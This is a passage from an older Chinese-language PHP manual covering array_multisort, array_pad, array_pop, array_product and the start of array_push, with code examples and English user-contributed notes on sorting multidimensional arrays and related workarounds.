输入数组被当成一个表的列并以行来排序――这类似于 SQL 的 ORDER BY 子句的功能。第一个数组是要排序的主要数组。数组中的行（值）比较为相同的话就按照下一个输入数组中相应值的大小来排序，依此类推。

本函数的参数结构有些不同寻常，但是非常灵活。第一个参数必须是一个数组。接下来的每个参数可以是数组或者是下面列出的排序标志。

排序顺序标志：

  • SORT_ASC - 按照上升顺序排序

  • SORT_DESC - 按照下降顺序排序

排序类型标志：

  • SORT_REGULAR - 将项目按照通常方法比较

  • SORT_NUMERIC - 将项目按照数值比较

  • SORT_STRING - 将项目按照字符串比较

每个数组之后不能指定两个同类的排序标志。每个数组后指定的排序标志仅对该数组有效 - 在此之前为默认值 SORT_ASC 和 SORT_REGULAR。

例子 1. 对多个数组排序

<?php
$ar1 = array("10", 100, 100, "a");
$ar2 = array(1, 3, "2", 1);
array_multisort($ar1, $ar2);

var_dump($ar1);
var_dump($ar2);
?>

本例中经过排序后，第一个数组将包含 "10"，"a"，100，100。第二个数组将包含 1，1，"2"，3。第二个数组中的项目顺序完全和第一个数组中相应的项目（100 和 100）顺序一致。

array(4) {
  [0]=> string(2) "10"
  [1]=> string(1) "a"
  [2]=> int(100)
  [3]=> int(100)
}
array(4) {
  [0]=> int(1)
  [1]=> int(1)
  [2]=> string(1) "2"
  [3]=> int(3)
}

例子 2. 对多维数组排序

<?php
$ar = array (array ("10", 100, 100, "a"), array (1, 3, "2", 1));
array_multisort ($ar[0], SORT_ASC, SORT_STRING,
                 $ar[1], SORT_NUMERIC, SORT_DESC);
?>

本例中经过排序后，第一个数组将包含 10，100，100，"a"（作为字符串上升排序），第二个数组将包含 1，3，"2"，1（作为数值下降排序）。

例子 3. Sorting multi-dimensional array

<?php
$ar = array(
       array("10", 11, 100, 100, "a"),
       array(   1,  2, "2",   3,   1)
      );
array_multisort($ar[0], SORT_ASC, SORT_STRING,
                $ar[1], SORT_NUMERIC, SORT_DESC);
var_dump($ar);
?>

本例中在排序后，第一个数组将变成 "10"，100，100，11，"a"（被当作字符串以升序排列）。第二个数组将包含 1, 3, "2", 2, 1（被当作数字以降序排列）。

array(2) {
  [0]=> array(5) {
    [0]=> string(2) "10"
    [1]=> int(100)
    [2]=> int(100)
    [3]=> int(11)
    [4]=> string(1) "a"
  }
  [1]=> array(5) {
    [0]=> int(1)
    [1]=> int(3)
    [2]=> string(1) "2"
    [3]=> int(2)
    [4]=> int(1)
  }
}

例子 4. 对数据库结果进行排序

本例中 data 数组中的每个单元表示一个表中的一行。这是典型的数据库记录的数据集合。

例子中的数据如下：

volume | edition
-------+--------
    67 |       2
    86 |       1
    85 |       6
    98 |       2
    86 |       6
    67 |       7

数据全都存放在名为 data 的数组中。这通常是通过循环从数据库取得的结果，例如 mysql_fetch_assoc()。

<?php
$data[] = array('volume' => 67, 'edition' => 2);
$data[] = array('volume' => 86, 'edition' => 1);
$data[] = array('volume' => 85, 'edition' => 6);
$data[] = array('volume' => 98, 'edition' => 2);
$data[] = array('volume' => 86, 'edition' => 6);
$data[] = array('volume' => 67, 'edition' => 7);
?>

本例中将把 volume 降序排列，把 edition 升序排列。

现在有了包含有行的数组，但是 array_multisort() 需要一个包含列的数组，因此用以下代码来取得列，然后排序。

<?php
// 取得列的列表
foreach ($data as $key => $row) {
    $volume[$key]  = $row['volume'];
    $edition[$key] = $row['edition'];
}

// 将数据根据 volume 降序排列，根据 edition 升序排列
// 把 $data 作为最后一个参数，以通用键排序
array_multisort($volume, SORT_DESC, $edition, SORT_ASC, $data);
?>

数据集合现在排好序了，结果如下：

volume | edition
-------+--------
    98 |       2
    86 |       1
    86 |       6
    85 |       6
    67 |       2
    67 |       7

例子 5. 不区分大小写字母排序

SORT_STRING 和 SORT_REGULAR 都是区分大小写字母的，大写字母会排在小写字母之前。

要进行不区分大小写的排序，就要按照原数组的小写字母拷贝来排序。

<?php
$array = array('Alpha', 'atomic', 'Beta', 'bank');
$array_lowercase = array_map('strtolower', $array);

array_multisort($array_lowercase, SORT_ASC, SORT_STRING, $array);

print_r($array);
?>

上例将输出：

Array
(
    [0] => Alpha
    [1] => atomic
    [2] => bank
    [3] => Beta
)

【译者注】本函数相当有用，为有助于理解，请再看下面这个例子：

例子 6. 名次排列

<?php
$grade = array("score" => array(70, 95, 70.0, 60, "70"),
               "name" => array("Zhang San", "Li Si", "Wang Wu",
                               "Zhao Liu", "Liu Qi"));
array_multisort($grade["score"], SORT_NUMERIC, SORT_DESC,
                // 将分数作为数值，由高到低排序
                $grade["name"], SORT_STRING, SORT_ASC);
                // 将名字作为字符串，由小到大排序
var_dump($grade);
?>

上例将输出：

array(2) {
  ["score"]=>
  array(5) {
    [0]=>
    int(95)
    [1]=>
    string(2) "70"
    [2]=>
    float(70)
    [3]=>
    int(70)
    [4]=>
    int(60)
  }
  ["name"]=>
  array(5) {
    [0]=>
    string(5) "Li Si"
    [1]=>
    string(6) "Liu Qi"
    [2]=>
    string(7) "Wang Wu"
    [3]=>
    string(9) "Zhang San"
    [4]=>
    string(8) "Zhao Liu"
  }
}

本例中对包含成绩的数组 $grade 按照分数（score）由高到低进行排序，分数相同的人则按照名字（name）由小到大排序。排序后李四 95 分为第一名，赵六 60 分为第五名没有异议。张三、王五和刘七都是 70 分，他们的名次则由其姓名的字母顺序排列，Liu 在前，Wang 在后而 Zhang 在最后。为了区别，三个 70 分分别用了整数，浮点数和字符串来表示，可以在程序输出中清楚地看到它们排序的结果。

add a note add a note User Contributed Notes
Cesar Sirvent
18-May-2006 12:43
There is a problem with array_multisort in languages other than English.
For special chars, as A with accent (), the sorting does not correspond to what might expect from a MySQL SELECT with ORDER BY.

For example

<?php

       foreach ($students as $key => $row){
         $surname[$key] = $row['surname'];
       }
       array_multisort($surname, SORT_ASC, $students);
?>

will sort the array in this way: ABADIA, ALVAREZ, BUUEL, ZUBIETA, LVARES

while a MySQL SELECT with ORDER BY nombre ASC will yield

ABADIA, LVARES, ALVEREZ, BUUEL, ZUBIETA

as A and  are considered two different representations of the same letter.
scott - evolove - net - work it out
23-Mar-2006 11:51
A very simple way to sort an array of associative arrays by some value is to use usort.

I needed to sort an array of 20 data structures by their 'distance' value:

Array
(
   [0] => Array
       (
           [blahblah] => blahblah
           [distance] => 6
       )

   [1] => Array
       (
         you get the idea....

Here's the code:

--------------------
usort($results, "distributor_compare");

/**
 * usort callback
 */
function distributor_compare($a, $b) {
   $adist = intval($a['distance']);
   $bdist = intval($b['distance']);

   if ($adist == $bdist) {
     return 0;
     }
     return ($adist < $bdist) ? -1 : 1;
}
--------------------
peter dot graham at tcat dot ac dot uk
16-Feb-2006 11:16
Many thanks to AlberT at SuperAlberT dot it for his useful and elegant function. I have made some small alterations so it doesnt use pass-by-reference as this throws up warnings in newer versions of php4.

<?php

function array_key_multi_sort($arr, $l , $f='strnatcasecmp')
{
   usort($arr, create_function('$a, $b', "return $f(\$a['$l'], \$b['$l']);"));
   return($arr);
}

?>
mail at theopensource dot com
01-Feb-2006 03:34
I wanted to share with you a function that I created to make the array_multisort process much easier for myself... There was some interesting things that I encountered and I will post that in the comments.

I created this function so that all I have to do is tell it what column I want to sort through in a one level deep multidimensional array.  You can Try this code in your browser to view the results

ex/
<?php

//Here is an array example
$test[0]['name'] = "David";
$test[0]['age'] = 28;
$test[1]['name'] = "Dennis";
$test[1]['age'] = 23;
$test[2]['name'] = "Joseph";
$test[2]['age'] = 42;

//Here is the Function

function sortmddata($array, $by, $order, $type){

//$array: the array you want to sort
//$by: the associative array name that is one level deep
////example: name
//$order: ASC or DESC
//$type: num or str

$sortby = "sort$by"; //This sets up what you are sorting by

$firstval = current($array); //Pulls over the first array

$vals = array_keys($firstval); //Grabs the associate Arrays

foreach ($vals as $init){
   $keyname = "sort$init";
   $$keyname = array();
}
//This was strange because I had problems adding
//Multiple arrays into a variable variable
//I got it to work by initializing the variable variables as arrays
//Before I went any further

foreach ($array as $key => $row) {

foreach ($vals as $names){
   $keyname = "sort$names";
   $test = array();
   $test[$key] = $row[$names];
   $$keyname = array_merge($$keyname,$test);

}

}

//This will create dynamic mini arrays so that I can perform
//the array multisort with no problem
//Notice the temp array... I had to do that because I
//cannot assign additional array elements to a
//varaiable variable

if ($order == "DESC"){
if ($type == "num"){
array_multisort($$sortby,SORT_DESC, SORT_NUMERIC,$array);
} else {
array_multisort($$sortby,SORT_DESC, SORT_STRING,$array);
}
} else {
if ($type == "num"){
array_multisort($$sortby,SORT_ASC, SORT_NUMERIC,$array);
} else {
array_multisort($$sortby,SORT_ASC, SORT_STRING,$array);
}
}

//This just goed through and asks the additional arguments
//What they are doing and are doing variations of
//the multisort

return $array;
}

//Now to test it

$test = sortmddata($test,'age','ASC','num');

print_r ($test);

//This will return
//Array (
//[0] => Array ([name] => Dennis [age] => 23 )
//[1] => Array ( [name] => David [age] => 28 )
//[2] => Array ( [name] => Joseph [age] => 42 )
//)

?>

There you go... please let me know what you think if you like.
php a-t-the-r-a-t-e chir.ag
06-Jan-2006 06:10
Re: phu at kungphu, 19-Dec-2005 11:36

asort($test) will not let me specify which columns to sort ASC/DESC, NUMERIC/STRING etc.

I have data similar to what you specified. Now I want to sort $test by points DESC and name ASC. Here's my function that does it, based on suggestions on this page. It uses array_multisort (and hence acts just like it: preserving string-keys etc.)

<?php

  function arrayColumnSort()
  {
   $n = func_num_args();
   $ar = func_get_arg($n-1);
   if(!is_array($ar))
     return false;

   for($i = 0; $i < $n-1; $i++)
     $col[$i] = func_get_arg($i);

   foreach($ar as $key => $val)
     foreach($col as $kkey => $vval)
       if(is_string($vval))
         ${"subar$kkey"}[$key] = $val[$vval];

   $arv = array();
   foreach($col as $key => $val)
     $arv[] = (is_string($val) ? ${"subar$key"} : $val);
   $arv[] = $ar;

   call_user_func_array("array_multisort", $arv);
   return $ar;
  }

  $test["pete"]['points']=1;
  $test["pete"]['name']='Peter';

  $test["mike"]['points']=5;
  $test["mike"]['name']='Mike';

  $test["zoo"]['points']=2;
  $test["zoo"]['name']='John Zoo';

  $test["ab"]['points']=2;
  $test["ab"]['name']='John Ab';

  $test1 = $test;

  asort($test1);

  $test2 = arrayColumnSort("points", SORT_DESC, SORT_NUMERIC, "name", SORT_ASC, SORT_STRING, $test);

  print_r($test1); // asort
  print_r($test2); // arrayColumnSort

?>

Output from asort:

Array
(
   [pete] => Array
       (
           [points] => 1
           [name] => Peter
       )

   [ab] => Array
       (
           [points] => 2
           [name] => John Ab
       )

   [zoo] => Array
       (
           [points] => 2
           [name] => John Zoo
       )

   [mike] => Array
       (
           [points] => 5
           [name] => Mike
       )

)

Output from arrayColumnSort:

Array
(
   [mike] => Array
       (
           [points] => 5
           [name] => Mike
       )

   [ab] => Array
       (
           [points] => 2
           [name] => John Ab
       )

   [zoo] => Array
       (
           [points] => 2
           [name] => John Zoo
       )

   [pete] => Array
       (
           [points] => 1
           [name] => Peter
       )

)
phu at kungphu
20-Dec-2005 03:36
Notepad's example using asort/arsort will -not- work unless 'points' is defined -before- 'name'.

Running the posted code sorts by 'name', which was not the point of the previous posts.  Defining 'points' as 'apoints' also did not work; however, defining 'points' first yields correct sorting:

$test[0]['points']=1;
$test[0]['name']='Peter';

$test[1]['points']=5;
$test[1]['name']='Mike';

$test[2]['points']=2;
$test[2]['name']='John';

asort($test);

It appears asort uses the first defined element to sort a multidimensional array.
notepad at codewalkers dot com
10-Dec-2005 08:33
for you guys trying to sort scores on an associative multi-dimensional array, why are you creating your own functions?

<?php

$test[0]['name']='Peter';
$test[0]['points']=1;

$test[1]['name']='Mike';
$test[1]['points']=5;

$test[2]['name']='John';
$test[2]['points']=2;

asort($test);
// or even arsort();

?>

the above seems to work for me...
Shmee
30-Sep-2005 09:46
RWCs code works very well until you get a point value greater then ten.  This is because the strcmp() function will return that 2 > 10 and 2 > 11  2 > 19 and so on. To compare number values over ten try a sort like this:

$test = multi_sort($test, $key = 'points');

function multi_sort($array, $akey)
{
  function compare($a, $b)
  {
     global $key;
     if ($a[$key]>$b[$key]){
         $varcmp = "1";
         return $varcmp;
     }
     elseif ($a[$key]<$b[$key]){
         $varcmp = "-1";
         return $varcmp;
     }
     elseif ($a[$key]==$b[$key]){
         $varcmp = "0";
         return $varcmp;
     }
  }
  usort($array, "compare");
  return $array;
}
RWC
26-Sep-2005 04:45
This is the simpler version of the function by AlberT.

A lot of times you have got an array like this:

$test[0]['name']='Peter';
$test[0]['points']=1;

$test[1]['name']='Mike';
$test[1]['points']=5;

$test[2]['name']='John';
$test[2]['points']=2;

You just want to sort on the index in the second dimension, ie. on points in the above example.

You can use the function below and call it like this:

$test = multi_sort($test, $key = 'points');

function multi_sort($array, $akey)
{
  function compare($a, $b)
  {
     global $key;
     return strcmp($a[$key], $b[$key]);
  }
  usort($array, "compare");
  return $array;
}

Note: to be able to use $key in the compare function, it can not simply be passed as a parameter. It has to be declared global and set somewhere outside of compare().
AlberT at SuperAlberT dot it
18-Jul-2005 09:59
a nice piece of code to do an "array_key_multi_sort()" is the following:

<?php
/**
 * orders a multidimentional array on the base of a label-key
 *
 * @param $arr, the array to be ordered
 * @param $l the "label" identifing the field
 * @param $f the ordering function to be used,
 *    strnatcasecmp() by default
 * @return  TRUE on success, FALSE on failure.
 */
function array_key_multi_sort(&$arr, $l , $f='strnatcasecmp') {
       return usort($arr, create_function('$a, $b', "return $f(\$a['$l'], \$b['$l']);"));
}
?>
kencomer at kencomer dot com
13-Jun-2005 02:48
If your data is in an associative array that you would need to separate into columns such as those retrieved with your favorite flavor of _fetch_array() in order to be able to use multisort(), you should consider using uasort() or usort() as an alternative. Here is an example of how this could be beneficial:

(key is employee number which remains intact; rows are sorted by surname, firstname)

<?php
function namecmp( $row1,$row2 )
{
   $first = strcmp($row1['surname'], $row2['surname']) ;
   if ( $first )
       return $first ;
   else
       return strcmp($row1['name'], $row2['name']) ;
}

     $test = array( '11122202' => array('empno'=>11122202,'name'=>'geezer'
               ,'surname'=>'schmidt','age'=>96,'sex'=>'male')
           ,'11122204' => array('empno'=>11122204,'name'=>'coed'
               ,'surname'=>'beaujolais','age'=>18,'sex'=>'female')
           ,'11122206' => array('empno'=>11122206,'name'=>'immortal'
               ,'surname'=>'ramos','age'=>21,'sex'=>'male')
           ,'11122208' => array('empno'=>11122208,'name'=>'babyface'
               ,'surname'=>'brown','age'=>1,'sex'=>'male')
           ,'11122210' => array('empno'=>11122210,'name'=>'exjock'
               ,'surname'=>'gatti','age'=>48,'sex'=>'male')
           ,'11122212' => array('empno'=>11122212,'name'=>'jailbait'
               ,'surname'=>'muhammed','age'=>15,'sex'=>'female') )
           ;
echo "<pre>" ;
print_r( $test ) ;
uasort($test,'namecmp') ;
echo "----sorting----<br \>";
print_r( $test ) ;
echo "</pre>" ;

?>

Array
(
   [11122202] => Array
       (
           [empno] => 11122202
           [name] => geezer
           [surname] => schmidt
           [age] => 96
           [sex] => male
       )

   [11122204] => Array
       (
           [empno] => 11122204
           [name] => coed
           [surname] => beaujolais
           [age] => 18
           [sex] => female
       )

   [11122206] => Array
       (
           [empno] => 11122206
           [name] => immortal
           [surname] => ramos
           [age] => 21
           [sex] => male
       )

   [11122208] => Array
       (
           [empno] => 11122208
           [name] => babyface
           [surname] => brown
           [age] => 1
           [sex] => male
       )

   [11122210] => Array
       (
           [empno] => 11122210
           [name] => exjock
           [surname] => gatti
           [age] => 48
           [sex] => male
       )

   [11122212] => Array
       (
           [empno] => 11122212
           [name] => jailbait
           [surname] => muhammed
           [age] => 15
           [sex] => female
       )

)
----sorting----
Array
(
   [11122204] => Array
       (
           [empno] => 11122204
           [name] => coed
           [surname] => beaujolais
           [age] => 18
           [sex] => female
       )

   [11122208] => Array
       (
           [empno] => 11122208
           [name] => babyface
           [surname] => brown
           [age] => 1
           [sex] => male
       )

   [11122210] => Array
       (
           [empno] => 11122210
           [name] => exjock
           [surname] => gatti
           [age] => 48
           [sex] => male
       )

   [11122212] => Array
       (
           [empno] => 11122212
           [name] => jailbait
           [surname] => muhammed
           [age] => 15
           [sex] => female
       )

   [11122206] => Array
       (
           [empno] => 11122206
           [name] => immortal
           [surname] => ramos
           [age] => 21
           [sex] => male
       )

   [11122202] => Array
       (
           [empno] => 11122202
           [name] => geezer
           [surname] => schmidt
           [age] => 96
           [sex] => male
       )

)
Michael Oelze at M (myname) T GMXdotDE
26-Apr-2005 12:15
I try array_multisort at first and it seems to work well. But then I program a page with cached datas (the arrays were saved in a session). Suddenly the sort function doesn't seem to work. There was no error in my script, so I try the reference on the variables. Then he manage to sort the arrays again.

So it seems that if you save your Arrays in a session your arrays are global variables and then 'array_multisort' doesn't sort the arrays despite it gives back 'true'.
 You must reference your variables and all work well:

session_start(); // restore variables (Arrays etc.)
.....
.....
array_multisort(&$Array1,&$Array2,&$Array3,...);
....
$_SESSION["Array1"]=$Array1;//
$_SESSION["Array2"]=$Array2;//Save Arrays in Session Data
$_SESSION["Array3"]=$Array3;//
......

Now you can store your Data Arrays in your Session and are able to sort them as you like...
stevec at NO-/ dot /-SPAM dot qiguang dot net
13-Apr-2005 11:19
Be careful when using array_multisort() on copies of arrays, as you might end up changing the original array.  Given the following code:

<?php
   $test1 = array(4,3,2,1);
   $test2 = $test1;
   $test3 = array('a', 'b', 'c', 'd');

   array_multisort($test2, SORT_ASC, $test3);

   echo 'test1:';
   print_r($test1);
   echo 'test2:';
   print_r($test2);
   echo 'test3:';
   print_r($test3);
?>

You would expect:

test1:Array
(
   [0] => 4
   [1] => 3
   [2] => 2
   [3] => 1
)
test2:Array
(
   [0] => 1
   [1] => 2
   [2] => 3
   [3] => 4
)
test3:Array
(
   [0] => d
   [1] => c
   [2] => b
   [3] => a
)

However, if you run the code, you actually get:

test1:Array
(
   [0] => 1
   [1] => 2
   [2] => 3
   [3] => 4
)
test2:Array
(
   [0] => 1
   [1] => 2
   [2] => 3
   [3] => 4
)
test3:Array
(
   [0] => d
   [1] => c
   [2] => b
   [3] => a
)

Note that the original ($test1) ends up being sorted even though it was never called by array_multisort().  To work around this, insert a statement to modify the copy ($test2) before calling array_multisort() on it.  The following code will produce the expected "correct" results:

<?php
   $test1 = array(4,3,2,1);
   $test2 = $test1;
   $test3 = array('a', 'b', 'c', 'd');

   $test2[0] = $test2[0];                // fix
   array_multisort($test2, SORT_ASC, $test3);

   echo 'test1:';
   print_r($test1);
   echo 'test2:';
   print_r($test2);
   echo 'test3:';
   print_r($test3);
?>

This seems to be a resurrection of the closed bug #8130.  Also, someone reported this behavior in bug #32031, but it was incorrectly labeled "bogus" in reference to bug #25359, which is a different issue.
joao at intrasystems dot com dot br
08-Apr-2005 03:27
Exemple of sorting multi-dimensional arrays by one of it's fields:

$result[0]['nome']='Joao';
$result[0]['order']=5;
$result[1]['nome']='Pedro';
$result[1]['order']=1;
$result[2]['nome']='Marcelo';
$result[2]['order']=3;

foreach($result as $res)
     $sortAux[] = $res['order'];

array_multisort($sortAux, SORT_ASC, $result);

print_r($result);

produces:

Array
(
   [0] => Array
       (
           [nome] => Pedro
           [order] => 1
       )

   [1] => Array
       (
           [nome] => Marcelo
           [order] => 3
       )

   [2] => Array
       (
           [nome] => Joao
           [order] => 5
       )

)
Toni
10-Nov-2004 07:30
An example to sort an array by 3 criteria:

$recordset is an array of results from a query to a database, that I sort using $matrix as auxiliary array. First numeric, Second and Third alphabetically.

<?php
for($idx=0;$idx<$toShow;$idx++){
   $matrix[0][$id]=$recordset[$id][0];
   $matrix[1][$id]=$recordset[$id][1];
   $matrix[2][$id]=$recordset[$id][10];
}

array_multisort($matrix[0], SORT_DESC, SORT_NUMERIC,$matrix[1], SORT_STRING, SORT_ASC,$matrix[2], SORT_STRING, SORT_ASC);
?>
meddle at dzygn.com
05-Oct-2004 10:40
If you want to sort a multidomensional array by key name you cannot use array_multisort. ie: for an array named $archivos that prints like this:

Array
(
   [0] => Array
       (
           [index] => 0
           [name] => test
       )

   [1] => Array
       (
           [index] => 0
           [name] => watertaxi.jpg
       )

   [2] => Array
       (
           [index] => 0
           [name] => 2_0003.JPG
       )

   [3] => Array
       (
           [index] => 0
           [name] => 24A_0025.JPG
       )

   [4] => Array
       (
           [index] => 1
           [name] => _CIMG3501.JPG
       )

)

If I wanted to order by "name" I'd use:

function comparar($a, $b) {
       return strnatcasecmp($a["name"], $b["name"]);
}
usort($archivos, "comparar");

This function performs a case insensitive string comparison using a "natural order" algorithm (strnatcasecmp), resulting in:

Array
(
   [0] => Array
       (
           [index] => 0
           [name] => 2_0003.JPG
       )

   [1] => Array
       (
           [index] => 0
           [name] => 24A_0025.JPG
       )

   [2] => Array
       (
           [index] => 0
           [name] => test
       )

   [3] => Array
       (
           [index] => 0
           [name] => watertaxi.jpg
       )

   [4] => Array
       (
           [index] => 1
           [name] => _CIMG3501.JPG
       )

)
kat dot n0spam at audiogalaxy dot com
24-Aug-2001 01:25
If you're having problems with array_multisort changing variables in global space when it is called inside a function and you're not passing in the function parameters by reference you can alleviate the problem by calling array_multisort with its parameters by reference.

array_multisort(&$a, SORT_DESC, &$b);

More details here in my bug report:
http://www.php.net/bugs.php?id=12936
add a note add a note

后退 | 起点 | 前进
array_merge | 上一级 | array_pad


array_pad

(PHP 4, PHP 5)

array_pad -- 用值将数组填补到指定长度

说明

array array_pad ( array input, int pad_size, mixed pad_value )

array_pad() 返回 input 的一个拷贝，并用 pad_value 将其填补到 pad_size 指定的长度。如果 pad_size 为正，则数组被填补到右侧，如果为负则从左侧开始填补。如果 pad_size 的绝对值小于或等于 input 数组的长度则没有任何填补。有可能一次最多填补 1048576 个单元。

例子 1. array_pad() 例子

<?php
$input = array(12, 10, 9);

$result = array_pad($input, 5, 0);
// result is array(12, 10, 9, 0, 0)

$result = array_pad($input, -7, -1);
// result is array(-1, -1, -1, -1, 12, 10, 9)

$result = array_pad($input, 2, "noop");
// not padded
?>

参见 array_fill() 和 range()。

add a note add a note User Contributed Notes
oaev at mail dot ru
22-Oct-2004 02:48
Easy way to get an array contains 5 random numbers from 0 to 9:

$rand_arr = array_rand( array_pad( array(), 10, 1 ), 5 );
29-Feb-2004 01:00
One way to initialize a 20x20 multidimensional array.

<?php
$a = array();
$b = array();
$b = array_pad($b,20,0);
$a = array_pad($a,20,$b);
?>
mwwaygoo at hotmail dot com
17-Jan-2004 12:02
little older, a little wiser.

ksort() will order the array back into its normal order again
so:

<?php
$myArr = array(2 => 'two', 4 => 'four');

$newArr = array_pad(array(), 6, 'FILLED');
$newArr =$myArr+$newArr;
ksort($newArr);
?>

Will give :
Array ( [0] => FILLED [1] => FILLED [2] => two [3] => FILLED [4] => four [5] => FILLED )
goffrie at sympatico dot ca
24-Mar-2003 09:06
To daarius - you mean you have...

[2]=>"two"
[3]=>"three"

and you want...

[0]=>"FILLED"
[1]=>"FILLED"
[2]=>"two"
[3]=>"three"
[4]=>"FILLED"
[5]=>"FILLED"

If so, then the following code...

<?php
$array = array(2 => "two", 3 => "three");
$array = array_pad($array, count($array)+2, "FILLED");
$num = -(count($array)+2);
$array = array_pad($array, $num, "FILLED");
print_r($array);
?>

will return:
Array ( [0] => FILLED [1] => FILLED [2] => two [3] => three [4] => FILLED [5] => FILLED )
The ordering should be okay,...
mwwaygoo at hotmail dot com
20-Sep-2002 12:39
OR you could do this

<?php
$myArr = array(2 => 'three', 3 => 'four');

$newArr = array_pad(array(), 4, 'FILLED');
$newArr =$myArr+$newArr;
?>

This gives your desired result BUT the ordering is a little wierd, because of the order they were added. Indexes are okay though and that is what you wanted.

print_r($newArr) outputs
Array ( [2] => three [3] => four [0] => FILLED [1] => FILLED )

hope this helps
daarius at hotmail dot com
23-Jul-2002 10:36
yes that is true. But, if the index of the array is 2=two, 3=three

and i want 4 more keys to be filled. But, not just filled anywhere, but i want to maintain the key index.

so, i would like to have 0=FILLED, 1=FILLED ... 4=FILLED, 5=FILLED

now i got 4 more keys padded with my string.

We can do this "if" we know the missing keys, but if we dont, then it would be nice for array_pad() or perhaps some new function to do this?

obviously we can achive this by looping through the array using array_key_exists(), and if you dont find the key, simply create + fill it.
regards,
Daarius...
scott*hurring.com
20-Jul-2002 07:20
to the previous commenter -- if you read the manual entry, you'd see that a negative pad_size will put the pad values at the front of the array.
ethanhunt314 at hotmail dot com
10-Dec-2000 08:25
This is useful when using next() and prev() function in a while loop to traverse an array.

For example the following code will only output up to 8.

<?php
$test[] = "1";
$test[] = "2";
$test[] = "3";
$test[] = "4";
$test[] = "5";
$test[] = "6";
$test[] = "7";
$test[] = "8";
$test[] = "9";
$test[] = "10";
$test[] = " ";
$test[] = " ";
$test[] = " ";

$count = count($test);

while($i < $count) {

$now = current($test);
echo "<p>$now</p>";

next($test);
next($test);
next($test);
prev($test);
prev($test);
prev($test);

$i++;
next($test);
}
?>

But if you use:
$test = array_pad($test, 13, " ");

you will get all of your output.
add a note add a note

后退 | 起点 | 前进
array_multisort | 上一级 | array_pop


array_pop

(PHP 4, PHP 5)

array_pop -- 将数组最后一个单元弹出（出栈）

说明

mixed array_pop ( array &array )

array_pop() 弹出并返回 array 数组的最后一个单元，并将数组 array 的长度减一。如果 array 为空（或者不是数组）将返回 NULL。

注: 使用本函数后会重置（reset()）数组指针。

例子 1. array_pop() 例子

<?php
$stack = array("orange", "banana", "apple", "raspberry");
$fruit = array_pop($stack);
print_r($stack);
?>

经过此操作后，$stack 将只有 3 个单元：

Array
(
    [0] => orange
    [1] => banana
    [2] => apple
)

并且 rasberry 将被赋给 $fruit。

参见 array_push()，array_shift() 和 array_unshift()。

add a note add a note User Contributed Notes
rmondragon at gmail dot com
08-Jun-2005 05:03
In a previous example ...
<?php
function array_trim ( $array, $index ) {
   if ( is_array ( $array ) ) {
     unset ( $array[$index] );
     array_unshift ( $array, array_shift ( $array ) );
     return $array;
     }
   else {
     return false;
     }
   }
?>

This have a problem. if u unset the last value and then use
<?
array_unshift ( $array, array_shift ( $array ) );
?>

will return a :  Array ( [0] => )
so u can fix it using...

<?php
if (count($array) > 0) array_unshift ( $values, array_shift ( $values ) );
?>

good luck ;)
16-Dec-2004 12:29
strrchr is a lot more useful than the other example using array_pop for finding the extension of a file. For example:

<?php
$ext = strrchr($filename, ".");
?>

$ext will contain the extension of the file, including a ".", if the file has an extension, and FALSE if the file has no extension. If the file has multiple extensions, such as "filename.tar.gz", then this construction will just return the last extension.
eddie at metafoundry dot com
26-Nov-2004 12:35
Quick way to get the extension from a file name using array_pop:

$ext = array_pop(explode(".",$filename));
31-Mar-2004 05:55
A function to delete an array value that recalculates the index ( its very short and easy to understand ).
Hope this might help someone...

<?php
/* Usage:
   $array : Array
   $indey : Integer

   The value of $array at the index $index will be
   deleted by the function.
*/
function array_trim ( $array, $index ) {
   if ( is_array ( $array ) ) {
     unset ( $array[$index] );
     array_unshift ( $array, array_shift ( $array ) );
     return $array;
     }
   else {
     return false;
     }
   }
?>
Alex Dowgailenko
15-Dec-2003 07:36
array_pop() can be usefull for fetching extentions of files, especially in cases where there might be more than one period in the filename.

eg:

<?php
$filename = "textfile.txt.bak";
$tmp = explode(".", $filename);
$ext = array_pop($tmp);

print_r($ext); // Shows "bak"
?>
22-Oct-2003 04:46
Be aware that using array_pop on an associative array that uses a numeric string as a key changes the key:

<?php
$stack= array("12" => "green", "54" => "brown", "672" => "blue");
print_r($stack);
$fruit = array_pop($stack);
print_r($stack);
?>

Results of execution:
Array
(
   [12] => green
   [54] => brown
   [672] => blue
)
Array
(
   [0] => green
   [1] => brown
)

However, if there is a non-numeric character in the key, the key will be maintained:

<?php
$stack= array("g1" => "green", "b1" => "brown", "b2" => "blue");
print_r($stack);
$fruit = array_pop($stack);
print_r($stack);
?>

Results of execution:
Array
(
   [g1] => green
   [b1] => brown
   [b2] => blue
)
Array
(
   [g1] => green
   [b1] => brown
)
ryan8613(at)hotmail(dot)com
08-Jun-2003 09:10
A function that may help some out, considering it's pretty much the one mentioned previously...

<?php
function array_trim($arr, $indice) {
       if(!isset($indice)) {
               $indice = count($arr)-1;
       }
       unset($arr[$indice]);
       array_shift($arr);
       return $arr;
}
?>

It cuts the given index value off of the array, but without the shift, if  the 'index' value isn't given, it cuts off the end value.
Alex Chac
01-Mar-2003 09:16
alex.chacon@terra.com
Hi
Here there is a function that delete a elemente from a array and re calculate indexes

<?php
function eliminarElementoArreglo ($array, $indice)
{
   if (array_key_exists($indice, $array))
   {
       $temp = $array[0];
       $array[0] = $array[$indice];
       $array[$indice] = $temp;
       array_shift($array);

       //reacomodamos ndices
       for ($i = 0 ; $i < $indice ; $i++)
       {
           $dummy = $array[$i];
           $array[$i] = $temp;
           $temp = $dummy;
       }
   }
   return $array;
}
?>
add a note add a note

后退 | 起点 | 前进
array_pad | 上一级 | array_product


array_product

(PHP 5 >= 5.1.0RC1)

array_product -- 计算数组中所有值的乘积

说明

number array_product ( array array )

array_product() 以整数或浮点数返回一个数组中所有值的乘积。

例子 1. array_product() 例子

<?php

$a = array(2, 4, 6, 8);
echo "product(a) = " . array_product($a) . "\n";

?>

上例将输出：

product(a) = 384

add a note add a note User Contributed Notes
mattyfroese at gmail dot com
06-Jan-2006 10:25
If you don't have PHP 5

$ar = array(1,2,3,4);
$t = 1;
foreach($ar as $n){
   $t *= $n;
}
echo $t; //output: 24
add a note add a note

后退 | 起点 | 前进
array_pop | 上一级 | array_push


array_push

(PHP 4, PHP 5)

array_push -- 将一个或多个单元压入数组的末尾（入栈）

说明

int array_push ( array &array, mixed var [, mixed ...] )

array_push() 将 array 当成一个栈，并将传入的变量压入 array 的末尾。array 的长度将根据入栈变量的数目增加。和如下效果相同：
<?php
$array[] = $var;
?>
并对每个 var 重复以上动作。

返回数组新的单元总数。

例子 1. array_push() 例子

<?php
$stack = array("orange", "banana");
array_push($stack, "apple", "raspberry");
print_r($stack);
?>

本例将使 $stack 具有如下单元：

Array
(
    [0] => orange
